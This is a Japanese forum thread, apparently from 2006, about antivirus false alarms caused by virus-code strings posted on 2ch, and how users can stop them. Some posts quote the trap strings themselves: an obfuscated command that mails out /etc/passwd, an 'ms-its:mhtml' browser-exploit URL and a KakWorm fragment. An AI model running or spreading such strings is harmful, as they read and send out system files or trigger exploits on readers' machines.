以下のUnix Penguinが入っていましたが、datだけでなく、
vicptdelでsubject.txt等も対応できないでしょうか？
caXt /etc/paXsswd | mail noXbody　(Xを削除)

>>376
そのスレの11ですが、そのパターンは対応していますよ。
手で11のdatを作って、スキャンしたら無効化されました。
デフォルトだとスキャンする時から10日前以降に更新されたdat
ファイルのみスキャンする設定なので、すべてのdatファイルを
スキャンする設定でしてみてください。

あと、subject.txtは専用ブラウザで板を見るときに常に更新するもの
だと思いますので、無効化しても効果がないので、スキャンはしない
です。

ノートンインターネット2006を入れたのですが、初心者の質問の板が
見れたり見れなかったりします。見れてもウィルス反応がでてしまう
のですが、2006の設定を教えて下さい。
お願いします。

>>378
ノートンを切る
それだけ

NIS2006を入れたんですが、誤反応しません。
設定が悪くセキュリティが甘くなってるのでしょうか？

>>380
割れてます。

>>381
普通にLiveUpdateとかできるのに…いや、それより何故割れてるって解るんでしょうか？

>>382
(((((((( ；ﾟДﾟ)))))))ｶﾞｸｶﾞｸﾌﾞﾙﾌﾞﾙ

http://life7.2ch.net/test/read.cgi/kankon/1134376159/
このスレにアクセスしたらウイルスが検出されます。
どうしたらいいですか？

>>385
このスレを一通り読んでから質問しろよ情報乞食

>>385
何でそうやってすぐに聞こうとするの？
まともな日本語能力と社会的常識を持っていれば
ちょっと調べれば、ちょっと読めば解決するのに

http://210.150.222.13/cgi-bin/imgbbs01/imgboard.cgi
の掲示板に貼られている空白？の画像はスパイウェアー
だと他の利用者が知らせてくれたのですが、
もしかしたらクリックしてしまったたかもしれません
スパイウェアーというのは感染するとどうなってしまうのでしょうか？
怖いので今日中に再フォーマットするつもりですが・・・

>>388
で、何故このスレで聞こうと思ったの？

自称PC初心者はスレタイも読めない日本語初心者…っと。

>>389
あ、今、別のスレで教えてもらえました
すいませんm(__)m

>>388
踏んだ　踏んだ　どうにもならへん
内部で呼び出しているサーバーがお休みのようだ
マカフィーさんも無反応
XP_SP2にとってはブラクラ以外の何物にもならない

じいさんのためにage

>>394
ここに来たってことはノートン入れてるんでしょ？
原因はノートン

ついでに保守age

ms-its:mhtml:file://c:\

定期age

すみません。色々やったけどギブですorz質問よろしいでしょうか…
■janeDoeα 0.1.12.2■ｘｐ■NIS２００４■>>1-9は読みました

>>51>>56さんとややケースが似てるんですが…
最近ノートン２００４を再ｲﾝｽｺしたので、前と同じ方法（>>1）で
また専ブラのlogフォルダを除外設定しました、が、何故か今度はどう設定やり直しても
下記のスレで先生に怒られます。
http://pc7.2ch.net/test/read.cgi/pcqa/1109609938/（このスレです…）
http://pc8.2ch.net/test/read.cgi/hp/1135924815/
警告メッセージのスクショ↓
（このスレのです。これが2回でます）
（下のスレのです）

で、何度設定しても駄目だったのでこのソフトを入れて、トラップの無効化を試みたんですけど
http://www.geocities.jp/cen_hp/program3.html#use_____
やっぱり上記のスレで先生に怒られます。何回かこのソフト起動させてみたんですが
無効化成功してるよ。みたいなメッセージが出るだけで、依然として先生は怒りまくりだし
もうどうしていいか分かりません。誰か助けて〜(つД`;)

トラックバック:http://etc3.2ch.net/test/read.cgi/qa/1137857523/

>>398
今一度、Norton Anti Virusのオプションで
手動スキャンとAuto-Protectでlogフォルダの除外の指定をしているか確認してください。


該当スレに書き込んだ・該当スレをお気に入りに入れた・ウイルスコードを検索したりすると
幾つか除外の指定を増やすことになるのでご注意ください。

Janeの場合

Jane2ch\Logs
Jane2ch\favorites.dat　
Jane2ch\kakikomi.txt
Jane2ch\SearchHistory.txt

ε三（; ･∀･）鯖ﾏﾃﾞｵﾂｶｲの場合

otsukai\result.dat

詳しくはお使いの2ちゃんねるブラウザのスレのテンプレや
2ちゃんねるブラウザのヘルプ
2ちゃんねるブラウザ配布サイト等のFAQなどを参照してください。

>>401補足
増えた項目の内、
Jane2ch\favorites.dat　
Jane2ch\kakikomi.txt
otsukai\result.dat
↑はスレタイに反応した場合です。

Live2chのフォルダごとNorton Anti Virus→除外に設定しても良いの？

すみません、質問です。
昨日から携帯PHS板を見ていると、ノートンで何度も警告が出て、
WScript.KakWormってやつなんですけど、これは
「kak.hta';ken=wd+'START」ってスレタイがあるせいなのでしょうか？

すみません、テンプレ見ましたm(_ _)m

>>403
Logフォルダを除外に指定してね。

先程、他のスレッド見ていたら、ノートンの低危険度の表示が出てきて遮断をクリックしたら、あらゆるホームページが見れなくなりました。原因解るかた教えてください。宜しくお願いします。m(__)m

>>407
誘導されたらそう書け
それと普通>>1から読むもんだ
既知の質問を延々と繰り返し答えさせられるこっちの身にもなれ

>>408
はぁ？おめーから何も答えてもらってねーぞ。
解らねーんだったらいちいち出てくんじゃねぇよアフォ

言っておくけど、回答者はどこも共通だから

>>410
お前が礼言ってたコテな、テンプレに注意書きがあるくらいの要注意人物なんだよ

>>410
http://ansitu.xrea.jp/guidance/?Trap#It_does_not_cry

ここを読んでください

>>410
この部分ね


2005年11月28日現在、2ちゃんねるではNIS(NPF)のファイアーウォールを誤作動させる
コードの書き込みが出回っています。
アンチウイルス(NAV)は反応しないのでファイアーウォールの
設定を見直さなければなりませんがあくまで暫定的処置です。

NIS2005の場合(多分NIS2006も同じ)

>>411
解りました。m(__)mではどこで聞いても答えは一緒って事ですね。お手数おかけしました。また何かありましたら宜しくお願いします。

あっ。ちなみにぼくは、愛新ではありません。
あしからず

時々ノートンインターネットセキュリティ2004を使用している際、
スレ、もしくは板そのものがサーバーに接続できなくて見ることができません。
アンチウィルスは常時つけていますが、切ってもつけていても見ることができるのですが
この症状はアンチウィルスが反応している訳ではありません
インターネットセキュリティをつけているときだけ見ることができないのですが
なぜなんでしょうか？
もちろんインターネットセキュリティの2CHに書き込める為の設定をしてあります。
これはなぜなんでしょうか？

>>418
>>371の問題でもないってことでしょうか。
371の暫定対処をした場合はどうなりますか？

>>419
ありがとうごぜーます。
呼んできます。

他できいてみます。

>>421-422
> マカフィーを使っている
> datファイルの入ったzipファイル
２ちゃんねるブラウザのログファイルでは無い場合はこちらのスレでは扱っていません。
このスレでは「ノートントラップ」は２ちゃんねる（掲示板）にウイルスコードが貼り付けられ
Webブラウザや２ちゃんねるブラウザのログでノートンが誤反応することを指しています。

http://pc7.2ch.net/test/read.cgi/pcqa/1138826147/441
そのzipファイルがアップローダーで拾ったものならマカフィーは正常な反応を示しているかと思います。
念のためにオンラインスキャンしてみてください。
http://www.trendmicro.co.jp/hcall/index.asp

マカフィーについて以降はより詳しいあなたの環境（zipファイルの出所・何のアプリケーションに使われているのか等）を書いて
以下のスレにここから誘導されたことも併記してお尋ねください。
がんばれマカフィー Part.23 / ガンバレMcAfee
http://pc8.2ch.net/test/read.cgi/sec/1136576534/

もしマカフィーが２ちゃんねるブラウザのログで反応しているのならお手数ですがもう一度こちらに来てください。

>>423
ご丁寧に解答を頂きありがとうございます。
datファイルの入ったzipファイルはある２ちゃんねるのスレのまとめサイト
からダウンロードしたファイルです。
オンラインスキャンでは何も見つからなかったです。
>もしマカフィーが２ちゃんねるブラウザのログで反応しているのなら
>お手数ですがもう一度こちらに来てください
datファイルは2ちゃんねるのスレッドのdatファイルなのですが
こちらでよろしいでしょうか？お願いします。

すいません>>421の者です。

>>424-425
おそらくそれはウイルスコードにマカフィーが誤反応しているものだと思われます。

他で教えていただいたのですがマカフィーにはノートンのようなウイルススキャンでフォルダ・ファイルの除外項目が無いそうです。
以下、現在の状況での対処方法です。

２ちゃんねるブラウザのJane派生のJaneViewでWickedStr.txtに手動で反応する文字列の一部を追記する。

誤反応スクリプト無効化ソフトhttp://www.geocities.jp/cen_hp/program3.htmlのアップデートを待って（現在マカフィートラップには対応していません）
　ActiveShieldを無効→対象スレを取得→「誤反応スクリプト無効化ソフト」を使ってウイルスコードを無効→ActiveShield有効

２ちゃんねるブラウザMonoViewのアップデートを待って（現在マカフィートラップには対応していません）読み込む。

一番いい方法はマカフィーに該当するdatファイルを送って対策を促すことだと思います。

マカフィーユーザーで既に対処の仕方を知っている方がいらっしゃるのかもしれませんので
>>423のマカフィーのスレでこちらのことを聞いてみていただけませんでしょうか。
対処方法がありましたらこちらのスレにもお知らせいただけると幸いです。

また参考のためにも今後もこちらに来ていただけると助かります。

ノートントラップとマカフィートラップのウイルスコードは違うようなので
ノートンでは反応しないでマカフィーが誤反応したりまたその逆もあります。
長々としましたがマカフィートラップについての決定打が見当たらないので手探りのレスを御許しください。

参考にマカフィートラップと思われるやり取りの過去ログです。
http://pc5.2ch.net/test/read.cgi/sec/1106492538/72-77+553-555+558-559+563
http://makimo.to:8000/2ch/pc5_sec/1106/1106492538.html

http://qb5.2ch.net/test/read.cgi/saku/1097313582/62-65n

http://jbbs.livedoor.jp/bbs/read.cgi/computer/10301/1071925088/373-378

>>426
わかりやすく説明していただき、
関連スレまで貼っていただいてありがとうございます。
ただ解決まではいけなかったので>>423の方で聞かせて頂きます。
何かわかりましたらこちらにも報告させて頂きますね。
ありがとうございました。

なんかjaneでこのスレ読むとレス番がずれまくりなんですけど
これ直す方法はないんでしょうか…？何度再読み込みしても
４２１さんが４０６さんになっちゃいます…↓
>　406 名前：421[] 投稿日：2006/02/03(金) 14:40:06 ID:ZZST2Rw7

ｌogフォルダの除外設定はしてあるので、先生も怒ってないんですが…

ノートン２００４でｘｐ。専ブラはｊａｎｅDoeView α051128です

XPに最初から入ってるノートンをアンインスコしたらもう再インスコって出来ませんかね？？

>>428
一旦ログを破棄してから読み込みでどうですか。
それと>>371にもありますがNIS(NPF)のファイアーウォールを誤作動させるコードもあるので
以下の設定もしてみてください。


現在、2ちゃんねるではNIS(NPF)のファイアーウォールを誤作動させるコードの書き込みが出回っています。
アンチウイルス(NAV)は反応しないのでファイアーウォールの設定を見直さなければなりませんがあくまで暫定的処置です。

２chNIS問題まとめページ
http://mickey.mirv.net/2chnis.html
ノートン応急対策
http://info.2ch.net/wiki/pukiwiki.php?%CA%E4%C2%AD%A4%C8%CA%E4%B4%B0#Norton_Emergency_measures
http://ansitu.xrea.jp/guidance/?NortonInternetSecurity#Emergency_measures http://ansitu.xrea.jp/guidance/?Trap#Emergency_measures
http://wiki.livedoor.jp/kizyo1234/d/%a5%ce%a1%bc%a5%c8%a5%f3%b4%d8%cf%a2

この場合2ちゃんねるに対してファイアーウォールの機能は働きません。
また、同様なコードが2ちゃんねるではない外部板に貼られていても上記ページのような設定はお勧めしません。
シマンテックの対応待ちです。

アンチウイルス(NAV)の設定は>>1
http://ansitu.xrea.jp/guidance/?Trap#NortonTrap

>>430
丁寧なレスありがとうございました。火壁の設定してログ捨ててみたら
ズレてるの直りました！感謝です！

以前こちらで質問させて頂いて誘導された者です。
解決方法がわかりましたのでその報告をさせて頂きます。

結論からいうとマカフィーが起動している時にzipファイルの中からdatファイルを
出す方法はありませんでした。
ただマカフィーの自動スキャンを一時的に止めてその間にzipファイルの中の
datファイルを取り出すことができました。
一時的に自動スキャンを止める方法は（以下コピペ）
http://www.mcafee.com/japan/pqa/aMcAfeeMvs.asp?ancQno=MV05040434&ancProd=McAfeeMvs
>また、管理者権限でコンピュータにログオンし、[Ctrl]キーと[Shift]キーを押しながら
>タスクトレイのアイコンを右クリックすると、更に隠しメニューが表示されます。
>この隠しメニューから通常のメニューに加えて以下の操作を行うことができます。
>・隔離アイテムの一覧
>・VShieldを無効にする/VShieldを有効にする
>・終了
とのことでした。実際に試したところ成功いたしました。
またｖｂｓウイルスソースが多々隔離されており消したところかなり早くなりました。
丁寧に教えてくれた皆さん、ありがとうございました。

>>430
>この場合2ちゃんねるに対してファイアーウォールの機能は働きません。

ということですが、それはセキュリティ的には問題ないレベルなんですか？

あと↓によると
２chNIS問題まとめページ
http://mickey.mirv.net/2chnis.html

>以下の対処方法では除外するIPアドレスの範囲からの攻撃に対してNISは反応しなくなります。

とありますが、２ちゃん以外の場所で除外したIPアドレスを利用した
悪意ある攻撃があった場合は大丈夫なんでしょうか？
それとも除外したIPアドレスは２ちゃん以外では使われてないのでしょうか？

分かる方いらっしゃったらご教授お願いします

>>432
お知らせありがとうございます。
マカフィーについての解説を参照できますので助かりました。

>>433
> ２ちゃん以外の場所で除外したIPアドレスを利用した
> 悪意ある攻撃があった場合は大丈夫なんでしょうか？

２ちゃんねる以外のIPアドレスを除外することはここではお勧めしません。

また、２ちゃんねるからの攻撃・進入等はいままではありませんでした。
過去には踏み台pcを規制するための２ちゃんねるからのインバウンド TCP 接続信号を受け入れなければいけなかったこともあります。
http://pc.2ch.net/sec/kako/1037/10377/1037772137.html の7

只、何事も絶対安全ということはないのでセキュ板本スレを見るようにしてください。
なにかあったら祭りになりますので。
【ﾉｰﾄﾝ】ｲﾝﾀｰﾈｯﾄｾｷｭﾘﾃｨ Ver.82【2006】
http://pc8.2ch.net/test/read.cgi/sec/1138802896/


> それとも除外したIPアドレスは２ちゃん以外では使われてないのでしょうか？

おそらくないはずですが、２ちゃんねるのIPアドレスそのものに関しては
以下のスレに誘導されたことを明記してお聞きください。
質問・雑談スレ215＠運用情報板
http://qb5.2ch.net/test/read.cgi/operate/1139244364/

関連スレ
ノートン誤作動対策本部
http://qb5.2ch.net/test/read.cgi/operate/1133161720/

>>434
お答え頂いてありがとうございました
紹介して頂いたスレはお気に入りに登録しました
あと運用情報板に質問して、疑問も解消しました
ありがとうございました

ここできいていいのかあれだけど、
updateして再起動してからjane開いて更新しようとすると

中危険度の小窓がいちいち表示されるようになった
「jane.exeがインターネットにアクセスしようとしています」
security無効にすると更新できるけど、前は有効のままで更新できてたの・・

解除方法おしえてくださいm(_ _)m

FWが反応してるだけみたいだね。

アプリ登録するだけじゃないのかな。

まあ、ノートン使ってないんでFWの一般論だけど。

2chブラウザのログ保存フォルダを「除外」に設定して、2ちゃんのスレで
ウイルス踏んじゃったらどうなるんですか？ノートンは守ってくれないんですか？

そんなノートンは窓から捨てろｗｗｗｗｗｗｗｗｗｗｗ

>>438
2chブラウザのログ保存フォルダにウィルスが入り込むことはありません。
ノートンがログ保存フォルダからウィルスを見つけたと言い出しても、スレタイにある通り誤認です。
リンクをクリックして起動したWebブラウザがウィルスのあるページを読み込もうとしたときは
ちゃんと守ってくれます。

>>440
ありがとうございます

JANE　DOE　STYLEでvbs踏んで、20分後くらいから何かプログラムを実行しようとする度に
ノートンが「xxxxxが1つ以上の認識されないモジュールを使ってインターネットにアクセスしようとしています」
と出て、許可にしないとプログラム実行されず、何も出来ないのですが、これはウィルスに感染してるのでしょうか？
スキャンしても検出されず、過去ログ検索対象外にしても出続けます。
知恵をください。お願いします。

>>443
ＶＢＳを踏んだってのはソースが貼り付けてあるスレを開いたってこと？
それともＶＢＳが実行されたってこと？

>>444
スレを開いただけです。
遮断ばかりしてたらいつの間にか上記のような状態になってしまってまして、
通信許可にしないと、どのプログラムも動きません。

>>445
リストから全部削除しろ　バカ
WindowsUpdateしていたら何にも感染などしねえわ

>>446
> WindowsUpdateしていたら何にも感染などしねえわ

それはどうかな？

>>371で板の見れない問題は解決したのですが、これは危険なのですか？
また暫定的処置という事ですが、なんらかの対応はあったのでしょうか？

>>448
202.222.31.214 206.223.147.35 （ｒｙって数字が並んでるでしょ。これは2chの鯖の
IPをそのまま列挙して「この鯖は誤作動を引き起こす可能性があるだけで実害はないから、
警告しなくていいよ」という指示だから、処置を適切にしてさえいれば、あんまり
深刻に考えないで良いです。